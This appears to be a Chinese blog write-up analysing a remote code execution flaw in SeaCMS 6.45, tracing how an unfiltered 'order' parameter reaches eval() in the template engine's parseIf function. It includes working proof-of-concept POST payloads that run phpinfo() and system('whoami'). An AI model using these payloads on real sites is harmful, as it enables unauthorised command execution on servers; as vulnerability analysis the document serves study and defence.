环境搭建

1、下载安装包

下载地址:

链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw

密码:cd48

2、常规安装

漏洞复现

poc1:

http://127.0.0.1/seacms645/search.php

post:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

poc2:

POST:

searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);//}{end if}&func=system&cmd=whoami

searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);if(1}{end if}&func=system&cmd=whoami

漏洞分析

0x00 代码执行简单流程

0x01 分析

总的来说就是:$order参数没做严格的限制,就将其传入了模板文件中,然后使用eval()执行模板中包含$order的代码,通过闭合拼接语句的方式,插入恶意代码,实现远程命令执行。

首先是从seacms_6.45/search.php入手,这个文件包含了seacms/include/common.php,在common.php中第45-48行,将GET,POST等请求传入的全局变量中的键值对转换成变量,并对其中的值使用addslashes()进行处理:

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
} foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

在seacms/search.php文件第63行,echoSearchPage()函数中,将$order变量注册成全局变量:

global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;

而在search.php中,执行echoSearchPage()函数之前,没有对$order变量进行处理。在echoSearchPage()函数中,使用$searchtype来选择使用的模板文件:

if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}

在if语句中可以看到,当$searchtype 的值为5的时候,传入了%order参数,因此这里的$searchtype需要取值5。

下面153行,将模板文件读取到$content变量中:

$content = parseSearchPart($searchTemplatePath);

接着在155-173行替换标签。其中第158行使用$order替换了模板中{searchpage:ordername}标签:

<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"{searchpage:ordername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
<a href="{searchpage:order-score-link}" {if:"{searchpage:ordername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>

接着,在本文件的第212行:

$content=$mainClassObj->parseIf($content);

跟进去,在seacms\include\main.class.php中第3098-3147行中:

function parseIf($content)
{
if (strpos($content, '{if:') === false) {
return $content;
} else {
$labelRule = buildregx("{if:(.*?)}(.*?){end if}", "is");
$labelRule2 = "{elseif";
$labelRule3 = "{else}";
preg_match_all($labelRule, $content, $iar);
$arlen = count($iar[0]);
$elseIfFlag = false;
for ($m = 0; $m < $arlen; $m++) {
$strIf = $iar[1][$m];
$strIf = $this->parseStrIf($strIf);
$strThen = $iar[2][$m];
$strThen = $this->parseSubIf($strThen);
if (strpos($strThen, $labelRule2) === false) {
if (strpos($strThen, $labelRule3) >= 0) {
$elsearray = explode($labelRule3, $strThen);
$strThen1 = $elsearray[0];
$strElse1 = $elsearray[1];
@eval("if(" . $strIf . "){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag) {
$content = str_replace($iar[0][$m], $strThen1, $content);
} else {
$content = str_replace($iar[0][$m], $strElse1, $content);
}
} else {
@eval("if(" . $strIf . ") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) {
$content = str_replace($iar[0][$m], $strThen, $content);
} else {
$content = str_replace($iar[0][$m], "", $content);
}
}
} else {
$elseIfArray = explode($labelRule2, $strThen);
$elseIfArrayLen = count($elseIfArray);
$elseIfSubArray = explode($labelRule3, $elseIfArray[$elseIfArrayLen - 1]);
$resultStr = $elseIfSubArray[1];
$elseIfArraystr0 = addslashes($elseIfArray[0]);
@eval("if({$strIf}){\$resultStr=\"{$elseIfArraystr0}\";}");
for ($elseIfLen = 1; $elseIfLen < $elseIfArrayLen; $elseIfLen++) {
$strElseIf = getSubStrByFromAndEnd($elseIfArray[$elseIfLen], ":", "}", "");
$strElseIf = $this->parseStrIf($strElseIf);
$strElseIfThen = addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen], "}", "", "start"));
@eval("if(" . $strElseIf . "){\$resultStr=\"{$strElseIfThen}\";}");
@eval("if(" . $strElseIf . "){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {
break;
}
}
$strElseIf0 = getSubStrByFromAndEnd($elseIfSubArray[0], ":", "}", "");
$strElseIfThen0 = addslashes(getSubStrByFromAndEnd($elseIfSubArray[0], "}", "", "start"));
if (strpos($strElseIf0, '==') === false && strpos($strElseIf0, '=') > 0) {
$strElseIf0 = str_replace('=', '==', $strElseIf0);
}
@eval("if(" . $strElseIf0 . "){\$resultStr=\"{$strElseIfThen0}\";\$elseIfFlag=true;}");
$content = str_replace($iar[0][$m], $resultStr, $content);
}
}
return $content;
}
}

这段函数主要功能是将输入的参数与正则匹配,之后进入eval()函数执行。

正则:

3102: $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
3105: preg_match_all($labelRule,$content,$iar);

要想进入到eval(),$content中必须含有{if:字符串,看代码执行流程,在eval()函数中,$strIf就是之前preg_match_all()中第一个(.*?)匹配出来的值。

@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

在eval()中,要闭合前面的if语句,可以构造1)phpinfo();if(1,又要符合正则{if:(.?)}(.?){end if},再看标签:

<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>

由于$order替换的是{searchpage:ordername},所以,在1)phpinfo();if(1基础上添加:

}{end if}{if:1)phpinfo();if(1}{end if}

漏洞利用的基本流程就是这样,简单来说,就是有个可控的变量没有经过过滤,就被带入了eval()中,导致了代码执行。

参考

https://mengsec.com/2018/08/06/SeaCMS-v6-45%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://github.com/SecWiki/CMS-Hunter/tree/master/seacms/SeaCMS%20v6.45%E5%89%8D%E5%8F%B0Getshell%20%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C

seacms_6.4.5 前台任意代码执行漏洞分析的更多相关文章

  1. 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析

    近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...

  2. phpcms前台任意代码执行漏洞(php<5.3)

    phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.fu ...

  3. Discuz! 6.x/7.x 版本 前台任意代码执行漏洞

    一.漏洞原理: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞. include/global.fun ...

  4. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  5. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...

  6. 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞

    Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...

  7. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  8. 修复Apache Log4j任意代码执行漏洞安全风险通告

    2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...

  9. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

随机推荐

  1. 服务器安装JDK

    1.卸载OpenJDK, 安装OracleJDK a.一般的LINUX发行版内置OpenJDK, 相当于JDK的开源版本(我们平时使用的JDK特指OracleJDK) b.OpenJDK 不能使用ja ...

  2. rabbitmq启动时出错epmd error for host

    centos7环境下新装rabbitmq,第一次启动时发现出错:ERROR: epmd error for host "****":XXXXXXX 检查发现当前机器的名称为 1  ...

  3. 去 HBase,Kylin on Parquet 性能表现如何?

    Kylin on HBase 方案经过长时间的发展已经比较成熟,但也存在着局限性,因此,Kyligence 推出了 Kylin on Parquet 方案(了解详情戳此处).通过标准数据集测试,与仍采 ...

  4. B - Lawrence HDU - 2829 斜率dp dp转移方程不好写

    B - Lawrence HDU - 2829 这个题目我觉得很难,难在这个dp方程不会写. 看了网上的题解,看了很久才理解这个dp转移方程 dp[i][j] 表示前面1~j 位并且以 j 结尾分成了 ...

  5. E - Help Jimmy POJ - 1661 dp

    E - Help Jimmy POJ - 1661 这个题目本身不是很难,但是可以更加优化这个写法. 开始是n*n #include <cstdio> #include <cstri ...

  6. 环境篇:Atlas2.0.0兼容CDH6.2.0部署

    环境篇:Atlas2.0.0兼容CDH6.2.0部署 Atlas 是什么? Atlas是一组可扩展和可扩展的核心基础治理服务,使企业能够有效地满足Hadoop中的合规性要求,并允许与整个企业数据生态系 ...

  7. MySQL(二)MySQL中的存储引擎

    前言 数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建.查询.更新和删除数据.不同的存储引擎提供不同的存储机制.索引技巧.锁定水平等功能,使用不同的存储引擎,还可以 ...

  8. 【HBase】HBase与MapReduce的集成案例

    目录 需求 步骤 一.创建maven工程,导入jar包 二.开发MapReduce程序 三.运行结果 HBase与MapReducer集成官方帮助文档:http://archive.cloudera. ...

  9. uCOS2014.1.10

    uC/OS-Ⅱ任务的结构有两种:一种是无限循环结构:另一种是只执行一次的程序结构.若采用只执行一次的程序结构,就要用任务删除函数来实现. uC/OS-Ⅱ进行任务的管理是从调用启动函数OSStart() ...

  10. 导出jar包和api文档

    导出jar包过程 右击项目名称->export 选择java->JAR file next->选择路径 导出成功 生成api文档 选择doc->右键export java-&g ...